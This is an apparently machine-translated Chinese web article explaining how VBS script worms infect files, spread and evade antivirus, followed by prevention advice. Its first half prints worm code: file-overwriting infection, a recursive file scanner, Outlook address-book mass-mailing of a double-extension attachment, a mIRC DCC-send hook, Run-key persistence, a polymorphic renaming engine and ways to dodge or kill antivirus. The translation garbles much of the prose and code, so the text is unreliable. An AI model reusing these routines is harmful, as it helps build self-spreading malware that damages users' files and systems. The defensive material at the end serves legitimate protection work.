當前位置:成語大全網 - 書法字典 - VBS腳本病毒的病毒原理分析

VBS腳本病毒的病毒原理分析

1是怎麽做到的。VBS腳本病毒感染和搜索文件?

壹般vbs腳本病毒通過自我復制的方式直接感染文件,病毒中的大部分代碼可以直接附著在其他類似的程序上。例如,新的Happy Hour病毒可以將自己的代碼附加到。htm文件並在頂部添加調用病毒代碼的語句,而宏病毒則直接生成壹個文件的副本,將病毒代碼復制到其中,並以原文件名作為病毒文件名的前綴,VBS作為後綴。下面我們通過宏病毒的壹些代碼來分析壹下這類病毒的感染和搜索原理:

以下是文件感染的壹些關鍵代碼:

set FSO = createobject(scripting . file system object)

創建文件系統對象。

set self = FSO . open textfile(wscript . script full name,1)

讀取並打開當前文件(即病毒本身)

vbscopy=self.readall

將所有病毒代碼讀入字符串變量vbscopy……...

Set ap=fso.opentextfile(目標文件。path,2,true)

寫打開目標文件,準備寫病毒代碼。

“Ap.write vbscopy”會覆蓋目標文件上的病毒代碼。

美聯社關閉

Set cop=fso.getfile(目標文件。path)'來獲取目標文件路徑。

目標文件。路徑&;。vbs)

創建另壹個病毒文件(用。vbs後綴)

目標文件。刪除(真)

刪除目標文件

上面描述了病毒文件是如何感染正常文件的:首先將病毒代碼賦給字符串變量vbscopy,然後將這個字符串覆蓋到目標文件,創建壹個以目標文件名為文件名前綴,vbs為後綴的文件副本,最後刪除目標文件。

我們來詳細分析壹下文件搜索代碼:

該功能主要用於查找符合條件的文件,並生成相應文件的病毒副本。

子掃描(文件夾_)掃描功能的定義,

如果有錯誤,直接跳過它以防止彈出錯誤窗口。

set folder _ = FSO . getfolder(folder _)

設置文件=文件夾_。當前目錄中所有文件的集合。

對於filesext=fso中的每個文件。GetExtensionName(文件)

獲取文件後綴

Ext=lcase(ext)'後綴轉換為小寫字母。

如果ext=mp5,那麽'如果後綴是mp5,那麽它被感染了。

請用相應的後綴創建自己的文件,最好是異常後綴,以免破壞正常程序。

Wscript.echo(文件)

End ifnextset subfolders = folder _。“搜索其他目錄”子文件夾中每個子文件夾的子文件夾;遞歸調用

掃描( )掃描(子文件夾)

然後

末端接頭

以上代碼是對VBS腳本病毒進行文件搜索的代碼分析。搜索部分的scan()函數短小巧妙,采用遞歸算法遍歷整個分區的目錄和文件。

2.2.vbs腳本病毒通過網絡傳播的幾種方式及代碼分析。

VBS腳本病毒之所以廣泛傳播,主要取決於其網絡傳播功能。壹般來說,VBS腳本病毒通過以下方式傳播:

1)通過郵件附件傳播。

這是壹種很常見的傳播方式。病毒可以通過各種方法獲取合法的郵箱地址,最常見的是直接從outlook通訊錄中獲取郵箱地址,或者通過程序在用戶文檔(如htm文件)中搜索郵箱地址。

下面我們具體分析壹下VBS腳本病毒是如何做到這壹點的:

函數mailBroadcast()

出錯時繼續下壹步

wscript.echo

set Outlook app = CreateObject(Outlook。應用程序)

//創建OUTLOOK應用的對象。

如果outlookApp= Outlook,則

設置mapiObj=outlookApp。GetNameSpace(MAPI)

//獲取MAPI的命名空間

設置addrList= mapiObj。地址列表

//獲取地址表的數量

對於addrList中的每個地址

如果地址。AddressEntries . Count & lt& gt那麽0

addrEntCount = addr。AddressEntries .計數

//獲取每個地址表的郵件記錄數。

For addrEntIndex= 1到addrEntCount

//遍歷地址表的郵件地址。

Set item = outlookApp。CreateItem(0)

//獲取郵件對象實例

設置addrEnt = addr。AddressEntries(addrEntIndex)

//獲取具體的電子郵件地址

= addrEnt。地址

//填寫收件人的地址

項目。受試者=病毒繁殖實驗

//寫入消息頭

項目。Body =這是壹個病毒郵件傳輸測試。收到這封信請不要驚慌!

//寫入文件內容

設置附件=項目。附件//定義電子郵件附件。

附件。添加fileSysObj。GetSpecialFolder(0)和amp\test.jpg.vbs

項目。DeleteAfterSubmit = True

//提交後自動刪除信件。

然後

項目。發送

//發送郵件

shellobj . regwrite HKCU \軟件\郵件測試\郵件,1

//病毒標記,避免重復感染。

如果…就會結束

NextEnd IfNext

如果…就會結束

結束功能

2)通過局域網享受交流* * *

局域網共享通信也是壹種非常常見和有效的網絡通信方式。壹般來說,為了局域網內通信的方便,必須有很多具有可寫權限的目錄。例如,當win2000創建* * *訪問時,默認情況下它具有可寫權限。這樣,病毒就可以通過搜索這些目錄將病毒代碼傳播到這些目錄中。

在VBS,有壹個對象可以實現在線鄰居共享的文件夾的搜索和文件操作。我們可以利用這個對象來達到交流的目的。

Welcome_msg =網絡連接搜索測試

設置WSHNetwork = WScript。CreateObject(WScript。網絡)

創建網絡對象

設置oPrinters = WshNetwork。enum互聯

創建網絡打印機連接列表

WScript。回顯網絡打印機映射:

對於i = 0至oPrinters。計數-1步驟2

顯示網絡打印機的連接。

WScript。回聲端口和。oPrinters。項目(壹)

& amp= & ampoPrinters。項目(i+1)

然後

設置colDrives = WSHNetwork。EnumNetworkDrives

創建網絡* * *享受連接列表

如果colDrives。那麽計數= 0

MsgBox沒有可列出的驅動器。,

vbInformation + vbOkOnly,welcome_msg

其他

StrMsg =當前網絡驅動器連接:&;CRLF

fori = 0到colDrives。計數- 1步驟2

strMsg = strMsg & ampChr(13)Chr(10)科爾德裏維斯(壹)

& ampChr(9)和ampcolDrives(i+1)

然後

MsgBox strMsg,VB information+vbo only,

' Welcome_msg '顯示當前網絡驅動器連接。

如果…就會結束

以上是壹個完整的腳本程序,用來查找當前的打印機連接和網絡連接並顯示出來。知道連接後,我們可以直接讀寫文件到目標驅動器。

3)通過感染htm、asp、jsp、php等網頁進行傳播。

如今,萬維網服務已經變得非常普遍。通過感染htm等文件,病毒勢必會感染所有訪問過此網頁的用戶的機器。

病毒之所以能在htm文件中發揮強大的作用,是因為它們采用了與網頁上大多數惡意代碼相同的原理。基本上,它們使用相同的代碼,但也可以使用其他代碼。這段代碼是病毒FSO、WSH和其他對象在網頁中運行的關鍵。在註冊表HKEY _類_根\CLSID中,我們可以找到這樣壹個主鍵,在註冊表中描述為“Windows腳本主機外殼對象”。同樣,我們也可以發現註冊表將其描述為“文件系統對象”。壹般來說,應該先初始化COM,在獲得相應的組件對象後,病毒就可以正確地使用FSO和WSH來調用它們的。代碼如下:

set apple0 object = document . applets(kj _ guest)apple0 object . set clsid()apple0 object . create instance()'創建實例。

設置WsShell Apple0bject。Get0bject()

Apple0bject.setCLSID()

apple 0 object . create instance()

創建實例

設置FSO =蘋果0對象。Get0bject()

對於其他類型的文件,這裏就不壹壹分析了。

4)通過IRC聊天渠道傳播

通過IRC傳播的病毒壹般使用以下代碼(以MIRC為例)。

昏暗的鏡子

set fso=CreateObject(腳本。文件系統對象)

設置mirc=fso。創建文本文件(C:\mirc\script.ini)

創建文件script.ini

fso。CopyFile Wscript。ScriptFullName,C:\mirc\attachment.vbs,

' True '將病毒文件備份到attachment.vbs

mirc。WriteLine[腳本]

mirc。WriteLine n0=on 1:join:*。*:

{如果($尼克!= $ me)/DCC send $ nick C:\ mirc \ attachment . VBS }

使用命令/ddc send $nick attachment.vbs將病毒文件傳輸給通道中的其他用戶。

mirc。關閉

上面的代碼寫在Script.ini文件中,實踐中還會寫很多其他代碼。用於控制IRC會話的命令存儲在Script.ini中,該文件中的命令可以自動執行。比如曲調。VBS病毒會修改c:\mirc\script.ini和c:\mirc\mirc.ini,這樣每次irc用戶使用被感染的頻道,都會收到壹份TUNE。VBS通過DDC發送。同樣,如果目標電腦的c:\pirch98目錄下已經安裝了Pirch98,病毒會修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini,這樣每次IRC用戶使用被感染的頻道時,都會收到壹個調。VBS通過DDC發送。

此外,該病毒還可以通過現在廣泛流行的KaZaA傳播。病毒會將病毒文件復制到KaZaA的默認目錄,這樣當其他用戶訪問這臺機器時,就有可能下載病毒文件並執行。這種交流方式可能與KaZaA(壹種點對點共享工具)的流行有關。

還有壹些其他的溝通方式,這裏不壹壹列舉。

3.3是怎麽做到的?VBS腳本病毒獲得控制?

如何獲得控制權?這是壹個有趣的話題,VBS腳本病毒似乎充分發揮了這個話題。作者在這裏列舉了幾種典型的方法:

1)修改註冊表項

當windows啟動時,它會自動加載HKEY _本地_機器\軟件\微軟\ Windows \當前版本\運行下的鍵值指示的程序。腳本病毒可以在此項下添加壹個鍵值指向病毒程序,以保證每次開機都得到控制。vbs修改註冊表的方法比較簡單,直接調用下面的語句就可以了。哇哦。RegWrite(strName,anyvalue [,strType])

2)通過映射文件執行模式

比如我們新的歡樂時光把dll的執行模式改成了wscript.exe。甚至可以將exe文件的映射指向病毒代碼。

3)欺騙用戶,讓用戶自己執行。

這種方式其實和用戶的心理有關。例如,當病毒發送附件時,它使用帶有雙後綴的文件名。默認情況下,不顯示後綴。比如壹個文件名為beauty.jpg.vbs的vbs程序,顯示為beauty.jpg,用戶經常會點擊它作為圖片。同樣,對於用戶自己磁盤上的文件,當病毒感染後,以原文件的文件名為前綴,vbs為後綴,生成病毒文件,並刪除原文件。這樣,用戶可以將該vbs文件視為他的原始文件。

4)desktop.ini和folder.htt相互配合。

這兩個文件可用於配置活動桌面或自定義文件夾。如果用戶的目錄中包含這兩個文件,當用戶進入目錄時,folder.htt中的病毒代碼就會被觸發。這是新的快樂時光病毒獲得控制的有效方法。並且使用folder.htt,還可能觸發exe文件,這也可能成為病毒獲取控制權的有效途徑!

病毒獲得控制的途徑有很多,作者在這方面有很大的發揮空間。

4.4.vbs腳本病毒對抗殺毒軟件的幾個技巧。

抵禦殺毒軟件的能力也是病毒生存的必要條件。壹般來說,VBS腳本病毒采用以下方法對抗殺毒軟件:

1)自加密

比如新的歡樂時光病毒,可以隨機選擇壹個密鑰對自己的壹些代碼進行加密和變換,讓每次感染的病毒代碼都不壹樣,達到多態的效果。這給傳統的特征值毒品檢測方法帶來了壹些困難。該病毒還可以進壹步采用變形技術,使加密病毒每次感染後的解密代碼不同。

讓我們來看壹個簡單的vbs腳本變形引擎(來自flyshadow)

使不規則化

set = CreateObject(腳本。文件系統對象)

創建文件系統對象

vC = Of。OpenTextFile(WScript。ScriptFullName,1)。Readall

閱讀妳自己的代碼

fS =數組(Of,vC,fS,fSC)

定義要替換的字符數組。

對於fSC = 0至3

vC = Replace(vC,fS(fSC),Chr((Int(Rnd * 22) + 65))

& ampchr((Int(Rnd * 22)+65))& amp;Chr((Int(Rnd * 22) + 65))

& ampChr((Int(Rnd * 22) + 65)))

取4個隨機字符替換數組fS中的字符串。

然後

的。opentextfile (wscript。scriptfullname,2,1)。“writelinevc”將替換的代碼寫回文件。

上述代碼使VBS文件的Of、vC、fS、fSC四個字符串在每次運行後被隨機字符串替換,可以很大程度上防止殺毒軟件用特征值病毒檢測方法檢測出來。

2)巧妙使用Execute函數

用過Vbs程序的朋友會不會覺得奇怪:在正常程序中使用FileSystemObject時,壹些殺毒軟件在掃描這個程序時會報告這個VBS文件的風險很高,但是有些VBS腳本病毒也使用FileSystemObject。為什麽沒有警告?原因很簡單,因為這些病毒巧妙地使用了Execute方法。當壹些殺毒軟件檢測到VBS病毒時,會檢查程序中是否聲明了FileSystemObject,如果聲明了,就會報警。如果病毒把這個聲明代碼轉換成字符串,然後通過Execute(String)函數執行,就可以避開壹些殺毒軟件。

3)改變壹些對象的聲明方法。

例如,FSO = createobject(腳本。文件系統對象),我們將其更改為

FSO = createobject(腳本+ing。file system+mo object),這樣殺毒軟件靜態掃描的時候就找不到filesystemobject了。

4)直接關閉殺毒軟件。

VBS的劇本很有力量。它可以直接搜索用戶進程,然後比較進程名。如果發現進程殺毒,直接關閉,刪除部分關鍵程序。

5.5的原則。Vbs病毒生產機介紹。

所謂病毒制作者,是指能夠根據用戶的選擇直接生成病毒源代碼的軟件。這在很多人看來似乎不可思議,但對於腳本病毒來說,實現起來其實非常簡單。

腳本語言無需編譯就能解釋執行,程序中不需要校驗和和定位,每壹條語句都是明確分開的。這樣,病毒功能首先被做成許多獨立的模塊。用戶進行病毒功能選擇後,生產機器只需要拼湊相應的功能模塊,最後進行相應的代碼替換和優化即可。由於篇幅等原因,這裏就不詳細介紹了。

三、如何防範vbs腳本病毒

1.如何從樣本中提取(加密)腳本病毒?

對於沒有加密的腳本病毒,我們可以直接從病毒樣本中找到。現在,介紹如何從病毒樣本中提取加密的VBS腳本病毒。這裏我們以新的歡樂時光為例。

用JediEdit打開folder.htt。我們發現這個文檔只有93行,第壹行和幾行註釋,從開頭開始,到小節結束。相信大家都知道這是壹個什麽樣的文件!

第87行到91行是以下語句:

87:

第87行和91行無需解釋。第88行是壹個字符串的賦值,這顯然是壹個加密的病毒代碼。看第89行最後壹段代碼,this text = this text &;TempChar,加上下面這壹行,我們肯定能猜到ThisText含有病毒解密代碼(熟悉vbs的兄弟當然能分析出這個解密代碼,太簡單了!就算完全不看代碼,也應該能看出來)。第90行是執行剛才這段文本中的代碼(解密後的代碼)。

那麽,接下來我們該怎麽辦?很簡單。我們只需要在病毒代碼被解密後,將這段文本的內容輸出到壹個文本文件中。由於上面幾行是vbscript,所以我創建了下面幾行。txt文件:

首先,將第88行和第89行復制到。剛創建的txt文件。當然,如果想看看新的歡樂時光的實施效果,也可以在最後輸入90行。然後輸入vbs代碼來創建該文件,並將該文本寫入文件的下壹行。整個文件如下:

ExeString = Afi...88行代碼

執行(調暗鑰匙...89行代碼

set FSO = createobject(scripting . file system object)

創建文件系統對象

set virus file = FSO . create text file(resource . log,true)

創建新的文件resource.log,

用於存儲解密後的病毒代碼virusfile.writeline(ThisText)。

將解密的代碼寫入resource.log

好吧!就這麽簡單。保存文件,更改文件的後綴。發短信給。vbs(。vbe也可以),雙擊它,妳會在文件目錄中找到壹個文件resource.log。打開這個文件怎麽樣?是《新歡樂時光》的源代碼嗎?

2.2.vbs腳本病毒的弱點

由於vbs腳本病毒是用腳本語言編寫的,不如PE文件方便靈活,其操作需要條件(但默認有這個條件)。作者認為,VBS腳本病毒有以下弱點:

1)大多數VBS腳本病毒運行時需要使用壹個對象:FileSystemObject。

2)VBScript代碼通過Windows腳本宿主進行解釋和執行。

3)VBS腳本病毒的運行需要其關聯程序Wscript.exe的支持。

4)通過網頁傳播的病毒需要ActiveX的支持。

5)通過郵件傳播的病毒需要OE的郵件自動發送功能的支持,但大部分病毒都是以郵件傳播為主。

3.如何預防和清除vbs腳本病毒?

針對上述VBS腳本病毒的弱點,筆者提出以下集中防範措施:

1)禁用FileSystemObject。

方法:可以使用命令regsvr32禁止文件系統對象scrrun.dll/u. regsvr 32是Windows\System下的可執行文件。或者直接找到scrrun.dll文件進行刪除或重命名。

另壹種方法是在註冊表中的key類_根\CLSID\下找到壹個關鍵項,然後單擊。

2)卸載Windows腳本主機。

在Windows 98中(NT 4.0及以上也是如此),打開[控制面板]→[添加/刪除程序]→[Windows Installer]→[附件],取消“Windows腳本主機”項。

和上面的方法壹樣,在註冊表中的key類_根\CLSID\下找到壹個關鍵項,單擊。

3)刪除VBS、VBE、JS和JSE文件的後綴名稱與應用程序之間的映射。

點擊【我的電腦】→【查看】→【文件夾選項】→【文件類型】,然後刪除VBS、VBE、JS、JSE文件的擴展名與應用的映射。

4)在Windows目錄中,找到WScript.exe,更改其名稱或刪除它。如果妳覺得以後會用到,最好改個名字。當然,以後也可以重裝。

5)您需要設置您的瀏覽器來完全阻止VBS網絡蠕蟲。首先,我們打開瀏覽器,點擊菜單欄中“互聯網選項”安全選項卡中的[自定義級別]按鈕。關於“ActiveX控件和插件”的壹切都是禁用的,所以妳不怕。呵呵,比如新歡樂時光的ActiveX組件運行不了,網絡通訊的功能就完了。

6)OE的自動收發郵件功能被禁止。

7)由於大多數蠕蟲使用文件擴展名來寫文章,所以沒有必要在系統中隱藏已知文件類型的擴展名來防止。Windows默認為“隱藏已知文件類型的擴展名”,並將其更改為顯示所有文件類型的擴展名。

8)將系統網絡連接的安全級別至少設置為“中”,可以在壹定程度上防止壹些有害的Java程序或壹些ActiveX組件入侵電腦。

9)哈哈,最後壹項妳應該知道。殺毒軟件真的很有必要。雖然有些殺毒軟件讓用戶失望,但選擇是雙方的。在這個病毒滿天飛的網絡裏,如果妳的機器沒有安裝殺毒軟件,我覺得真的很不可思議。

第四,所有腳本病毒的發展前景

隨著網絡的快速發展,網絡蠕蟲開始流行,VBS腳本蠕蟲更為突出,不僅數量眾多,而且功能強大。因為通過腳本編寫病毒相對簡單,所以除了現在的VBS腳本病毒,其他的腳本病毒也會越來越多,比如PHP,JS,Perl等等。但是,腳本並不是真正的病毒愛好者編寫病毒的最佳工具,刪除腳本和防範相對容易。筆者認為,腳本病毒還會繼續流行,但能像宏病毒和新歡樂時光壹樣產生巨大影響的腳本蠕蟲也就那麽幾個。